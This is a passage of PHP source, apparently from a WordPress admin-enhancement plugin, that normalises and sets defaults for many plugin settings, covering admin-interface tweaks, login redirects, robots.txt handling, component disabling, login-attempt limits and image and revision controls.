if ( !isset( $options['enable_avif_upload'] ) ) {
$options['enable_avif_upload'] = false;
}
$options['enable_avif_upload'] = ( 'on' == $options['enable_avif_upload'] ? true : false );
// Enable External Permalinks
if ( !isset( $options['enable_external_permalinks'] ) ) {
$options['enable_external_permalinks'] = false;
}
$options['enable_external_permalinks'] = ( 'on' == $options['enable_external_permalinks'] ? true : false );
if ( is_array( $asenha_public_post_types ) ) {
foreach ( $asenha_public_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post, $post_type_label is Posts
if ( !isset( $options['enable_external_permalinks_for'][$post_type_slug] ) ) {
$options['enable_external_permalinks_for'][$post_type_slug] = false;
}
$options['enable_external_permalinks_for'][$post_type_slug] = ( 'on' == $options['enable_external_permalinks_for'][$post_type_slug] ? true : false );
}
}
// Open All External Links in New Tab
if ( !isset( $options['external_links_new_tab'] ) ) {
$options['external_links_new_tab'] = false;
}
$options['external_links_new_tab'] = ( 'on' == $options['external_links_new_tab'] ? true : false );
// Allow Custom Nav Menu Items to Open in New Tab
if ( !isset( $options['custom_nav_menu_items_new_tab'] ) ) {
$options['custom_nav_menu_items_new_tab'] = false;
}
$options['custom_nav_menu_items_new_tab'] = ( 'on' == $options['custom_nav_menu_items_new_tab'] ? true : false );
// Enable Auto-Publishing of Posts with Missed Schedules
if ( !isset( $options['enable_missed_schedule_posts_auto_publish'] ) ) {
$options['enable_missed_schedule_posts_auto_publish'] = false;
}
$options['enable_missed_schedule_posts_auto_publish'] = ( 'on' == $options['enable_missed_schedule_posts_auto_publish'] ? true : false );
// =================================================================
// ADMIN INTERFACE
// =================================================================
// Hide or Modify Elements / Clean Up Admin Bar
if ( !isset( $options['hide_modify_elements'] ) ) {
$options['hide_modify_elements'] = false;
}
$options['hide_modify_elements'] = ( 'on' == $options['hide_modify_elements'] ? true : false );
if ( !isset( $options['hide_ab_wp_logo_menu'] ) ) {
$options['hide_ab_wp_logo_menu'] = false;
}
$options['hide_ab_wp_logo_menu'] = ( 'on' == $options['hide_ab_wp_logo_menu'] ? true : false );
if ( !isset( $options['hide_ab_site_menu'] ) ) {
$options['hide_ab_site_menu'] = false;
}
$options['hide_ab_site_menu'] = ( 'on' == $options['hide_ab_site_menu'] ? true : false );
if ( !isset( $options['hide_ab_customize_menu'] ) ) {
$options['hide_ab_customize_menu'] = false;
}
$options['hide_ab_customize_menu'] = ( 'on' == $options['hide_ab_customize_menu'] ? true : false );
if ( !isset( $options['hide_ab_comments_menu'] ) ) {
$options['hide_ab_comments_menu'] = false;
}
$options['hide_ab_comments_menu'] = ( 'on' == $options['hide_ab_comments_menu'] ? true : false );
if ( !isset( $options['hide_ab_updates_menu'] ) ) {
$options['hide_ab_updates_menu'] = false;
}
$options['hide_ab_updates_menu'] = ( 'on' == $options['hide_ab_updates_menu'] ? true : false );
if ( !isset( $options['hide_ab_new_content_menu'] ) ) {
$options['hide_ab_new_content_menu'] = false;
}
$options['hide_ab_new_content_menu'] = ( 'on' == $options['hide_ab_new_content_menu'] ? true : false );
if ( !isset( $options['hide_ab_howdy'] ) ) {
$options['hide_ab_howdy'] = false;
}
$options['hide_ab_howdy'] = ( 'on' == $options['hide_ab_howdy'] ? true : false );
if ( !isset( $options['hide_help_drawer'] ) ) {
$options['hide_help_drawer'] = false;
}
$options['hide_help_drawer'] = ( 'on' == $options['hide_help_drawer'] ? true : false );
// Hide Admin Notices
if ( !isset( $options['hide_admin_notices'] ) ) {
$options['hide_admin_notices'] = false;
}
$options['hide_admin_notices'] = ( 'on' == $options['hide_admin_notices'] ? true : false );
// Disable Dashboard Widgets
if ( !isset( $options['disable_dashboard_widgets'] ) ) {
$options['disable_dashboard_widgets'] = false;
}
$options['disable_dashboard_widgets'] = ( 'on' == $options['disable_dashboard_widgets'] ? true : false );
$dashboard_widgets = $options_extra['dashboard_widgets'];
if ( is_array( $dashboard_widgets ) ) {
foreach ( $dashboard_widgets as $widget ) {
if ( !isset( $options['disabled_dashboard_widgets'][$widget['id'] . '__' . $widget['context'] . '__' . $widget['priority']] ) ) {
$options['disabled_dashboard_widgets'][$widget['id'] . '__' . $widget['context'] . '__' . $widget['priority']] = false;
}
$options['disabled_dashboard_widgets'][$widget['id'] . '__' . $widget['context'] . '__' . $widget['priority']] = ( 'on' == $options['disabled_dashboard_widgets'][$widget['id'] . '__' . $widget['context'] . '__' . $widget['priority']] ? true : false );
}
}
if ( !isset( $options['disable_welcome_panel_in_dashboard'] ) ) {
$options['disable_welcome_panel_in_dashboard'] = false;
}
$options['disable_welcome_panel_in_dashboard'] = ( 'on' == $options['disable_welcome_panel_in_dashboard'] ? true : false );
// Hide Admin Bar
if ( !isset( $options['hide_admin_bar'] ) ) {
$options['hide_admin_bar'] = false;
}
$options['hide_admin_bar'] = ( 'on' == $options['hide_admin_bar'] ? true : false );
if ( is_array( $roles ) ) {
foreach ( $roles as $role_slug => $role_label ) {
// e.g. $role_slug is administrator, $role_label is Administrator
// on the frontend
if ( !isset( $options['hide_admin_bar_for'][$role_slug] ) ) {
$options['hide_admin_bar_for'][$role_slug] = false;
}
$options['hide_admin_bar_for'][$role_slug] = ( 'on' == $options['hide_admin_bar_for'][$role_slug] ? true : false );
if ( !isset( $options['hide_admin_bar_always_show_for_admins'] ) ) {
$options['hide_admin_bar_always_show_for_admins'] = false;
}
$options['hide_admin_bar_always_show_for_admins'] = ( 'on' == $options['hide_admin_bar_always_show_for_admins'] ? true : false );
}
}
// Wider Admin Menu
if ( !isset( $options['wider_admin_menu'] ) ) {
$options['wider_admin_menu'] = false;
}
$options['wider_admin_menu'] = ( 'on' == $options['wider_admin_menu'] ? true : false );
if ( !isset( $options['admin_menu_width'] ) ) {
$options['admin_menu_width'] = 200;
}
$options['admin_menu_width'] = ( !empty( $options['admin_menu_width'] ) ? sanitize_text_field( $options['admin_menu_width'] ) : 200 );
// Admin Menu Organizer
if ( !isset( $options['customize_admin_menu'] ) ) {
$options['customize_admin_menu'] = false;
}
$options['customize_admin_menu'] = ( 'on' == $options['customize_admin_menu'] ? true : false );
if ( !isset( $options['admin_menu_organizer_sticky_collapse_menu'] ) ) {
$options['admin_menu_organizer_sticky_collapse_menu'] = false;
}
$options['admin_menu_organizer_sticky_collapse_menu'] = ( 'on' == $options['admin_menu_organizer_sticky_collapse_menu'] ? true : false );
// Enhance List Tables
if ( !isset( $options['enhance_list_tables'] ) ) {
$options['enhance_list_tables'] = false;
}
$options['enhance_list_tables'] = ( 'on' == $options['enhance_list_tables'] ? true : false );
// Show Featured Image Column
if ( !isset( $options['show_featured_image_column'] ) ) {
$options['show_featured_image_column'] = false;
}
$options['show_featured_image_column'] = ( 'on' == $options['show_featured_image_column'] ? true : false );
// Show Excerpt Column
if ( !isset( $options['show_excerpt_column'] ) ) {
$options['show_excerpt_column'] = false;
}
$options['show_excerpt_column'] = ( 'on' == $options['show_excerpt_column'] ? true : false );
// Show Last Modified Column
if ( !isset( $options['show_last_modified_column'] ) ) {
$options['show_last_modified_column'] = false;
}
$options['show_last_modified_column'] = ( 'on' == $options['show_last_modified_column'] ? true : false );
// Show ID Column
if ( !isset( $options['show_id_column'] ) ) {
$options['show_id_column'] = false;
}
$options['show_id_column'] = ( 'on' == $options['show_id_column'] ? true : false );
// Show File Size Column in Media Library
if ( !isset( $options['show_file_size_column'] ) ) {
$options['show_file_size_column'] = false;
}
$options['show_file_size_column'] = ( 'on' == $options['show_file_size_column'] ? true : false );
// Show ID in Action Row
if ( !isset( $options['show_id_in_action_row'] ) ) {
$options['show_id_in_action_row'] = false;
}
$options['show_id_in_action_row'] = ( 'on' == $options['show_id_in_action_row'] ? true : false );
// Show Custom Taxonomy Filters
if ( !isset( $options['show_custom_taxonomy_filters'] ) ) {
$options['show_custom_taxonomy_filters'] = false;
}
$options['show_custom_taxonomy_filters'] = ( 'on' == $options['show_custom_taxonomy_filters'] ? true : false );
// Hide Date Column
if ( !isset( $options['hide_date_column'] ) ) {
$options['hide_date_column'] = false;
}
$options['hide_date_column'] = ( 'on' == $options['hide_date_column'] ? true : false );
// Hide Comments Column
if ( !isset( $options['hide_comments_column'] ) ) {
$options['hide_comments_column'] = false;
}
$options['hide_comments_column'] = ( 'on' == $options['hide_comments_column'] ? true : false );
// Hide Post Tags Column
if ( !isset( $options['hide_post_tags_column'] ) ) {
$options['hide_post_tags_column'] = false;
}
$options['hide_post_tags_column'] = ( 'on' == $options['hide_post_tags_column'] ? true : false );
// Custom Admin Footer Text
if ( !isset( $options['custom_admin_footer_text'] ) ) {
$options['custom_admin_footer_text'] = false;
}
$options['custom_admin_footer_text'] = ( 'on' == $options['custom_admin_footer_text'] ? true : false );
if ( !isset( $options['custom_admin_footer_left'] ) ) {
$options['custom_admin_footer_left'] = '';
}
$options['custom_admin_footer_left'] = ( !empty( $options['custom_admin_footer_left'] ) ? wp_kses_post( $options['custom_admin_footer_left'] ) : '' );
if ( !isset( $options['custom_admin_footer_right'] ) ) {
$options['custom_admin_footer_right'] = '';
}
$options['custom_admin_footer_right'] = ( !empty( $options['custom_admin_footer_right'] ) ? wp_kses_post( $options['custom_admin_footer_right'] ) : '' );
// Various Admin UI Enhancements
if ( !isset( $options['various_admin_ui_enhancements'] ) ) {
$options['various_admin_ui_enhancements'] = false;
}
$options['various_admin_ui_enhancements'] = ( 'on' == $options['various_admin_ui_enhancements'] ? true : false );
// Media Library Infinite Scrolling
if ( !isset( $options['media_library_infinite_scrolling'] ) ) {
$options['media_library_infinite_scrolling'] = false;
}
$options['media_library_infinite_scrolling'] = ( 'on' == $options['media_library_infinite_scrolling'] ? true : false );
// Display Active Plugins First
if ( !isset( $options['display_active_plugins_first'] ) ) {
$options['display_active_plugins_first'] = false;
}
$options['display_active_plugins_first'] = ( 'on' == $options['display_active_plugins_first'] ? true : false );
// =================================================================
// LOG IN/OUT | REGISTER
// =================================================================
// Change Login URL
if ( !isset( $options['change_login_url'] ) ) {
$options['change_login_url'] = false;
}
$options['change_login_url'] = ( 'on' == $options['change_login_url'] ? true : false );
if ( !isset( $options['custom_login_slug'] ) ) {
$options['custom_login_slug'] = 'backend';
}
$options['custom_login_slug'] = ( !empty( $options['custom_login_slug'] ) ? sanitize_text_field( trim( $options['custom_login_slug'], '/' ) ) : 'backend' );
if ( !isset( $options['custom_login_whitelist'] ) ) {
$options['custom_login_whitelist'] = '';
}
$options['custom_login_whitelist'] = ( !empty( $options['custom_login_whitelist'] ) ? sanitize_textarea_field( $options['custom_login_whitelist'] ) : '' );
// Login ID Type
if ( !isset( $options['login_id_type_restriction'] ) ) {
$options['login_id_type_restriction'] = false;
}
$options['login_id_type_restriction'] = ( 'on' == $options['login_id_type_restriction'] ? true : false );
if ( !isset( $options['login_id_type'] ) ) {
$options['login_id_type'] = 'username';
}
$options['login_id_type'] = ( !empty( $options['login_id_type'] ) ? sanitize_text_field( $options['login_id_type'] ) : 'username' );
// Use Site Identity on the Login Page
if ( !isset( $options['site_identity_on_login'] ) ) {
$options['site_identity_on_login'] = false;
}
$options['site_identity_on_login'] = ( 'on' == $options['site_identity_on_login'] ? true : false );
// Enable Login Logout Menu
if ( !isset( $options['enable_login_logout_menu'] ) ) {
$options['enable_login_logout_menu'] = false;
}
$options['enable_login_logout_menu'] = ( 'on' == $options['enable_login_logout_menu'] ? true : false );
// Redirect After Login
if ( !isset( $options['redirect_after_login'] ) ) {
$options['redirect_after_login'] = false;
}
$options['redirect_after_login'] = ( 'on' == $options['redirect_after_login'] ? true : false );
if ( !isset( $options['redirect_after_login_type'] ) ) {
$options['redirect_after_login_type'] = 'single_url';
}
$options['redirect_after_login_type'] = ( !empty( $options['redirect_after_login_type'] ) ? sanitize_text_field( $options['redirect_after_login_type'] ) : 'single_url' );
if ( !isset( $options['redirect_after_login_to_slug'] ) ) {
$options['redirect_after_login_to_slug'] = '';
}
$options['redirect_after_login_to_slug'] = ( !empty( $options['redirect_after_login_to_slug'] ) ? sanitize_text_field( $options['redirect_after_login_to_slug'] ) : '' );
if ( is_array( $roles ) ) {
foreach ( $roles as $role_slug => $role_label ) {
// e.g. $role_slug is administrator, $role_label is Administrator
if ( !isset( $options['redirect_after_login_for'][$role_slug] ) ) {
$options['redirect_after_login_for'][$role_slug] = false;
}
$options['redirect_after_login_for'][$role_slug] = ( 'on' == $options['redirect_after_login_for'][$role_slug] ? true : false );
}
}
// Redirect After Logout
if ( !isset( $options['redirect_after_logout'] ) ) {
$options['redirect_after_logout'] = false;
}
$options['redirect_after_logout'] = ( 'on' == $options['redirect_after_logout'] ? true : false );
if ( !isset( $options['redirect_after_logout_type'] ) ) {
$options['redirect_after_logout_type'] = 'single_url';
}
$options['redirect_after_logout_type'] = ( !empty( $options['redirect_after_logout_type'] ) ? sanitize_text_field( $options['redirect_after_logout_type'] ) : 'single_url' );
if ( !isset( $options['redirect_after_logout_to_slug'] ) ) {
$options['redirect_after_logout_to_slug'] = '';
}
$options['redirect_after_logout_to_slug'] = ( !empty( $options['redirect_after_logout_to_slug'] ) ? sanitize_text_field( $options['redirect_after_logout_to_slug'] ) : '' );
if ( is_array( $roles ) ) {
foreach ( $roles as $role_slug => $role_label ) {
// e.g. $role_slug is administrator, $role_label is Administrator
if ( !isset( $options['redirect_after_logout_for'][$role_slug] ) ) {
$options['redirect_after_logout_for'][$role_slug] = false;
}
$options['redirect_after_logout_for'][$role_slug] = ( 'on' == $options['redirect_after_logout_for'][$role_slug] ? true : false );
}
}
// Disable User Account
if ( !isset( $options['disable_user_account'] ) ) {
$options['disable_user_account'] = false;
}
$options['disable_user_account'] = ( 'on' == $options['disable_user_account'] ? true : false );
// Last Login Column
if ( !isset( $options['enable_last_login_column'] ) ) {
$options['enable_last_login_column'] = false;
}
$options['enable_last_login_column'] = ( 'on' == $options['enable_last_login_column'] ? true : false );
// Registration Date Column
if ( !isset( $options['registration_date_column'] ) ) {
$options['registration_date_column'] = false;
}
$options['registration_date_column'] = ( 'on' == $options['registration_date_column'] ? true : false );
// Enable Custom Admin CSS
if ( !isset( $options['enable_custom_admin_css'] ) ) {
$options['enable_custom_admin_css'] = false;
}
$options['enable_custom_admin_css'] = ( 'on' == $options['enable_custom_admin_css'] ? true : false );
if ( !isset( $options['custom_admin_css'] ) ) {
$options['custom_admin_css'] = '';
}
$options['custom_admin_css'] = ( !empty( $options['custom_admin_css'] ) ? $options['custom_admin_css'] : '' );
// Enable Custom Frontend CSS
if ( !isset( $options['enable_custom_frontend_css'] ) ) {
$options['enable_custom_frontend_css'] = false;
}
$options['enable_custom_frontend_css'] = ( 'on' == $options['enable_custom_frontend_css'] ? true : false );
if ( !isset( $options['custom_frontend_css'] ) ) {
$options['custom_frontend_css'] = '';
}
$options['custom_frontend_css'] = ( !empty( $options['custom_frontend_css'] ) ? $options['custom_frontend_css'] : '' );
// Custom Body Class
if ( !isset( $options['enable_custom_body_class'] ) ) {
$options['enable_custom_body_class'] = false;
}
$options['enable_custom_body_class'] = ( 'on' == $options['enable_custom_body_class'] ? true : false );
if ( is_array( $asenha_public_post_types ) ) {
foreach ( $asenha_public_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post, $post_type_label is Posts
if ( !isset( $options['enable_custom_body_class_for'][$post_type_slug] ) ) {
$options['enable_custom_body_class_for'][$post_type_slug] = false;
}
$options['enable_custom_body_class_for'][$post_type_slug] = ( 'on' == $options['enable_custom_body_class_for'][$post_type_slug] ? true : false );
}
}
// Manage ads.txt and app-ads.txt
if ( !isset( $options['manage_ads_appads_txt'] ) ) {
$options['manage_ads_appads_txt'] = false;
}
$options['manage_ads_appads_txt'] = ( 'on' == $options['manage_ads_appads_txt'] ? true : false );
if ( !isset( $options['ads_txt_content'] ) ) {
$options['ads_txt_content'] = '';
}
$options['ads_txt_content'] = ( !empty( $options['ads_txt_content'] ) ? $options['ads_txt_content'] : '' );
if ( !isset( $options['app_ads_txt_content'] ) ) {
$options['app_ads_txt_content'] = '';
}
$options['app_ads_txt_content'] = ( !empty( $options['app_ads_txt_content'] ) ? $options['app_ads_txt_content'] : '' );
// Manage robots.txt
if ( !isset( $options['manage_robots_txt'] ) ) {
$options['manage_robots_txt'] = false;
}
$options['manage_robots_txt'] = ( 'on' == $options['manage_robots_txt'] ? true : false );
if ( !isset( $options['robots_txt_content'] ) ) {
$options['robots_txt_content'] = '';
} else {
if ( !empty( $options['robots_txt_content'] ) ) {
$options['robots_txt_content'] = $options['robots_txt_content'];
$is_robots_txt_real_file = is_file( ABSPATH . 'robots.txt' );
// rename real robots.txt file if it exists and Mange robots.txt is enabled
if ( $is_robots_txt_real_file && 'on' == $options['manage_robots_txt'] ) {
$robots_txt_backup_filename = 'robots_backup_' . date( 'Y_m_d__H_i', time() ) . '.txt';
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options_extra['robots_txt_backup_file_name'] = $robots_txt_backup_filename;
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
rename( ABSPATH . 'robots.txt', ABSPATH . $robots_txt_backup_filename );
} elseif ( 'on' != $options['manage_robots_txt'] ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
if ( array_key_exists( 'robots_txt_backup_file_name', $options_extra ) ) {
if ( is_file( ABSPATH . $options_extra['robots_txt_backup_file_name'] ) ) {
rename( ABSPATH . $options_extra['robots_txt_backup_file_name'], ABSPATH . 'robots.txt' );
}
}
}
} else {
$options['robots_txt_content'] = '';
}
}
// Insert <head>, <body> and <footer> code
if ( !isset( $options['insert_head_body_footer_code'] ) ) {
$options['insert_head_body_footer_code'] = false;
}
$options['insert_head_body_footer_code'] = ( 'on' == $options['insert_head_body_footer_code'] ? true : false );
if ( !isset( $options['disable_code_unslash'] ) ) {
$options['disable_code_unslash'] = false;
}
$options['disable_code_unslash'] = ( 'on' == $options['disable_code_unslash'] ? true : false );
if ( !isset( $options['head_code_priority'] ) ) {
$options['head_code_priority'] = 10;
}
$options['head_code_priority'] = ( !empty( $options['head_code_priority'] ) ? $options['head_code_priority'] : 10 );
if ( !isset( $options['head_code'] ) ) {
$options['head_code'] = '';
}
$options['head_code'] = ( !empty( $options['head_code'] ) ? $common_methods->sanitize_html_js_css_code( $options['head_code'] ) : '' );
if ( !isset( $options['body_code_priority'] ) ) {
$options['body_code_priority'] = 10;
}
$options['body_code_priority'] = ( !empty( $options['body_code_priority'] ) ? $options['body_code_priority'] : 10 );
if ( !isset( $options['body_code'] ) ) {
$options['body_code'] = '';
}
$options['body_code'] = ( !empty( $options['body_code'] ) ? $common_methods->sanitize_html_js_css_code( $options['body_code'] ) : '' );
if ( !isset( $options['footer_code_priority'] ) ) {
$options['footer_code_priority'] = 10;
}
$options['footer_code_priority'] = ( !empty( $options['footer_code_priority'] ) ? $options['footer_code_priority'] : 10 );
if ( !isset( $options['footer_code'] ) ) {
$options['footer_code'] = '';
}
$options['footer_code'] = ( !empty( $options['footer_code'] ) ? $common_methods->sanitize_html_js_css_code( $options['footer_code'] ) : '' );
// =================================================================
// DISABLE COMPONENTS
// =================================================================
// Disable Gutenberg
if ( !isset( $options['disable_gutenberg'] ) ) {
$options['disable_gutenberg'] = false;
}
$options['disable_gutenberg'] = ( 'on' == $options['disable_gutenberg'] ? true : false );
if ( is_array( $asenha_gutenberg_post_types ) ) {
foreach ( $asenha_gutenberg_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post,
if ( !isset( $options['disable_gutenberg_for'][$post_type_slug] ) ) {
$options['disable_gutenberg_for'][$post_type_slug] = false;
}
$options['disable_gutenberg_for'][$post_type_slug] = ( 'on' == $options['disable_gutenberg_for'][$post_type_slug] ? true : false );
}
}
if ( !isset( $options['disable_gutenberg_frontend_styles'] ) ) {
$options['disable_gutenberg_frontend_styles'] = false;
}
$options['disable_gutenberg_frontend_styles'] = ( 'on' == $options['disable_gutenberg_frontend_styles'] ? true : false );
// Disable Comments
if ( !isset( $options['disable_comments'] ) ) {
$options['disable_comments'] = false;
}
$options['disable_comments'] = ( 'on' == $options['disable_comments'] ? true : false );
if ( is_array( $asenha_public_post_types ) ) {
foreach ( $asenha_public_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post, $post_type_label is Posts
if ( 'kt_gallery' === $post_type_slug ) {
continue;
}
if ( !isset( $options['disable_comments_for'][$post_type_slug] ) ) {
$options['disable_comments_for'][$post_type_slug] = false;
}
$options['disable_comments_for'][$post_type_slug] = ( 'on' == $options['disable_comments_for'][$post_type_slug] ? true : false );
}
}
if ( isset( $options['disable_comments_for']['kt_gallery'] ) ) {
unset($options['disable_comments_for']['kt_gallery']);
}
// Disable REST API
if ( !isset( $options['disable_rest_api'] ) ) {
$options['disable_rest_api'] = false;
}
$options['disable_rest_api'] = ( 'on' == $options['disable_rest_api'] ? true : false );
// Disable Feeds
if ( !isset( $options['disable_feeds'] ) ) {
$options['disable_feeds'] = false;
}
$options['disable_feeds'] = ( 'on' == $options['disable_feeds'] ? true : false );
// Disable Embeds
if ( !isset( $options['disable_embeds'] ) ) {
$options['disable_embeds'] = false;
}
$options['disable_embeds'] = ( 'on' == $options['disable_embeds'] ? true : false );
if ( !isset( $options['disable_embeds_flush_rewrite_rules_needed'] ) ) {
$options['disable_embeds_flush_rewrite_rules_needed'] = false;
}
// Disable Auto Updates
if ( !isset( $options['disable_all_updates'] ) ) {
$options['disable_all_updates'] = false;
}
$options['disable_all_updates'] = ( 'on' == $options['disable_all_updates'] ? true : false );
// Disable Author Archives
if ( !isset( $options['disable_author_archives'] ) ) {
$options['disable_author_archives'] = false;
}
$options['disable_author_archives'] = ( 'on' == $options['disable_author_archives'] ? true : false );
// Disable Smaller Components
if ( !isset( $options['disable_smaller_components'] ) ) {
$options['disable_smaller_components'] = false;
}
$options['disable_smaller_components'] = ( 'on' == $options['disable_smaller_components'] ? true : false );
if ( !isset( $options['disable_head_generator_tag'] ) ) {
$options['disable_head_generator_tag'] = false;
}
$options['disable_head_generator_tag'] = ( 'on' == $options['disable_head_generator_tag'] ? true : false );
if ( !isset( $options['disable_feed_generator_tag'] ) ) {
$options['disable_feed_generator_tag'] = false;
}
$options['disable_feed_generator_tag'] = ( 'on' == $options['disable_feed_generator_tag'] ? true : false );
if ( !isset( $options['disable_resource_version_number'] ) ) {
$options['disable_resource_version_number'] = false;
}
$options['disable_resource_version_number'] = ( 'on' == $options['disable_resource_version_number'] ? true : false );
if ( !isset( $options['disable_head_wlwmanifest_tag'] ) ) {
$options['disable_head_wlwmanifest_tag'] = false;
}
$options['disable_head_wlwmanifest_tag'] = ( 'on' == $options['disable_head_wlwmanifest_tag'] ? true : false );
if ( !isset( $options['disable_head_rsd_tag'] ) ) {
$options['disable_head_rsd_tag'] = false;
}
$options['disable_head_rsd_tag'] = ( 'on' == $options['disable_head_rsd_tag'] ? true : false );
if ( !isset( $options['disable_head_shortlink_tag'] ) ) {
$options['disable_head_shortlink_tag'] = false;
}
$options['disable_head_shortlink_tag'] = ( 'on' == $options['disable_head_shortlink_tag'] ? true : false );
if ( !isset( $options['disable_frontend_dashicons'] ) ) {
$options['disable_frontend_dashicons'] = false;
}
$options['disable_frontend_dashicons'] = ( 'on' == $options['disable_frontend_dashicons'] ? true : false );
if ( !isset( $options['disable_emoji_support'] ) ) {
$options['disable_emoji_support'] = false;
}
$options['disable_emoji_support'] = ( 'on' == $options['disable_emoji_support'] ? true : false );
if ( !isset( $options['disable_jquery_migrate'] ) ) {
$options['disable_jquery_migrate'] = false;
}
$options['disable_jquery_migrate'] = ( 'on' == $options['disable_jquery_migrate'] ? true : false );
if ( !isset( $options['disable_block_widgets'] ) ) {
$options['disable_block_widgets'] = false;
}
$options['disable_block_widgets'] = ( 'on' == $options['disable_block_widgets'] ? true : false );
if ( !isset( $options['disable_lazy_load'] ) ) {
$options['disable_lazy_load'] = false;
}
$options['disable_lazy_load'] = ( 'on' == $options['disable_lazy_load'] ? true : false );
if ( !isset( $options['disable_application_passwords'] ) ) {
$options['disable_application_passwords'] = false;
}
$options['disable_application_passwords'] = ( 'on' == $options['disable_application_passwords'] ? true : false );
if ( !isset( $options['disable_site_admin_email_verification_screen'] ) ) {
$options['disable_site_admin_email_verification_screen'] = false;
}
$options['disable_site_admin_email_verification_screen'] = ( 'on' == $options['disable_site_admin_email_verification_screen'] ? true : false );
if ( !isset( $options['disable_plugin_theme_editor'] ) ) {
$options['disable_plugin_theme_editor'] = false;
}
$options['disable_plugin_theme_editor'] = ( 'on' == $options['disable_plugin_theme_editor'] ? true : false );
if ( !isset( $options['disable_user_email_notification_after_password_change'] ) ) {
$options['disable_user_email_notification_after_password_change'] = false;
}
$options['disable_user_email_notification_after_password_change'] = ( 'on' == $options['disable_user_email_notification_after_password_change'] ? true : false );
if ( !isset( $options['disable_admin_email_notification_after_password_change'] ) ) {
$options['disable_admin_email_notification_after_password_change'] = false;
}
$options['disable_admin_email_notification_after_password_change'] = ( 'on' == $options['disable_admin_email_notification_after_password_change'] ? true : false );
// =================================================================
// SECURITY
// =================================================================
// Limit Login Attempts
if ( !isset( $options['limit_login_attempts'] ) ) {
$options['limit_login_attempts'] = false;
}
$options['limit_login_attempts'] = ( 'on' == $options['limit_login_attempts'] ? true : false );
if ( !isset( $options['login_fails_allowed'] ) ) {
$options['login_fails_allowed'] = 3;
}
$options['login_fails_allowed'] = ( !empty( $options['login_fails_allowed'] ) ? sanitize_text_field( $options['login_fails_allowed'] ) : 3 );
if ( !isset( $options['login_lockout_maxcount'] ) ) {
$options['login_lockout_maxcount'] = 3;
}
$options['login_lockout_maxcount'] = ( !empty( $options['login_lockout_maxcount'] ) ? sanitize_text_field( $options['login_lockout_maxcount'] ) : 3 );
if ( !isset( $options['limit_login_attempts_header_override'] ) ) {
$options['limit_login_attempts_header_override'] = '';
}
$options['limit_login_attempts_header_override'] = ( !empty( $options['limit_login_attempts_header_override'] ) ? sanitize_text_field( $options['limit_login_attempts_header_override'] ) : '' );
if ( !isset( $options['login_attempts_log_table'] ) ) {
$options['login_attempts_log_table'] = '';
}
$options['login_attempts_log_table'] = '';
if ( !isset( $options['limit_login_attempts'] ) ) {
$options['failed_login_attempts_log_schedule_cleanup_by_amount'] = false;
}
$options['failed_login_attempts_log_schedule_cleanup_by_amount'] = ( 'on' == $options['limit_login_attempts'] ? true : false );
// Obfuscate Author Slugs
if ( !isset( $options['obfuscate_author_slugs'] ) ) {
$options['obfuscate_author_slugs'] = false;
}
$options['obfuscate_author_slugs'] = ( 'on' == $options['obfuscate_author_slugs'] ? true : false );
// Obfuscate Email Address
if ( !isset( $options['obfuscate_email_address'] ) ) {
$options['obfuscate_email_address'] = false;
}
$options['obfuscate_email_address'] = ( 'on' == $options['obfuscate_email_address'] ? true : false );
if ( !isset( $options['obfuscate_email_address_builder_safe_mode'] ) ) {
$options['obfuscate_email_address_builder_safe_mode'] = false;
}
$options['obfuscate_email_address_builder_safe_mode'] = ( 'on' == $options['obfuscate_email_address_builder_safe_mode'] ? true : false );
// Disable XML-RPC
if ( !isset( $options['disable_xmlrpc'] ) ) {
$options['disable_xmlrpc'] = false;
}
$options['disable_xmlrpc'] = ( 'on' == $options['disable_xmlrpc'] ? true : false );
// =================================================================
// OPTIMIZATIONS
// =================================================================
// Image Upload Control
if ( !isset( $options['image_upload_control'] ) ) {
$options['image_upload_control'] = false;
}
$options['image_upload_control'] = ( 'on' == $options['image_upload_control'] ? true : false );
if ( !isset( $options['image_max_width'] ) ) {
$options['image_max_width'] = 1920;
}
$options['image_max_width'] = ( !empty( $options['image_max_width'] ) ? sanitize_text_field( $options['image_max_width'] ) : 1920 );
if ( !isset( $options['image_max_height'] ) ) {
$options['image_max_height'] = 1920;
}
$options['image_max_height'] = ( !empty( $options['image_max_height'] ) ? sanitize_text_field( $options['image_max_height'] ) : 1920 );
// Enable Revisions Control
if ( !isset( $options['enable_revisions_control'] ) ) {
$options['enable_revisions_control'] = false;
}
$options['enable_revisions_control'] = ( 'on' == $options['enable_revisions_control'] ? true : false );
if ( !isset( $options['revisions_max_number'] ) ) {
$options['revisions_max_number'] = 10;
}
$options['revisions_max_number'] = ( !empty( $options['revisions_max_number'] ) ? sanitize_text_field( $options['revisions_max_number'] ) : 10 );
if ( is_array( $asenha_revisions_post_types ) ) {
foreach ( $asenha_revisions_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post,
if ( !isset( $options['enable_revisions_control_for'][$post_type_slug] ) ) {
$options['enable_revisions_control_for'][$post_type_slug] = false;
}
$options['enable_revisions_control_for'][$post_type_slug] = ( 'on' == $options['enable_revisions_control_for'][$post_type_slug] ? true : false );
}
}
// Enable Heartbeat Control
if ( !isset( $options['enable_heartbeat_control'] ) ) {
$options['enable_heartbeat_control'] = false;
}
$options['enable_heartbeat_control'] = ( 'on' == $options['enable_heartbeat_control'] ? true : false );
if ( !isset( $options['heartbeat_control_for_admin_pages'] ) ) {
$options['heartbeat_control_for_admin_pages'] = 'default';
}
if ( !isset( $options['heartbeat_control_for_post_edit'] ) ) {
$options['heartbeat_control_for_post_edit'] = 'default';
}
if ( !isset( $options['heartbeat_control_for_frontend'] ) ) {
$options['heartbeat_control_for_frontend'] = 'default';
}
if ( !isset( $options['heartbeat_interval_for_admin_pages'] ) ) {
$options['heartbeat_interval_for_admin_pages'] = 60;
}
$options['heartbeat_interval_for_admin_pages'] = ( !empty( $options['heartbeat_interval_for_admin_pages'] ) ? sanitize_text_field( $options['heartbeat_interval_for_admin_pages'] ) : 60 );
if ( !isset( $options['heartbeat_interval_for_post_edit'] ) ) {
$options['heartbeat_interval_for_post_edit'] = 15;
}
$options['heartbeat_interval_for_post_edit'] = ( !empty( $options['heartbeat_interval_for_post_edit'] ) ? sanitize_text_field( $options['heartbeat_interval_for_post_edit'] ) : 15 );
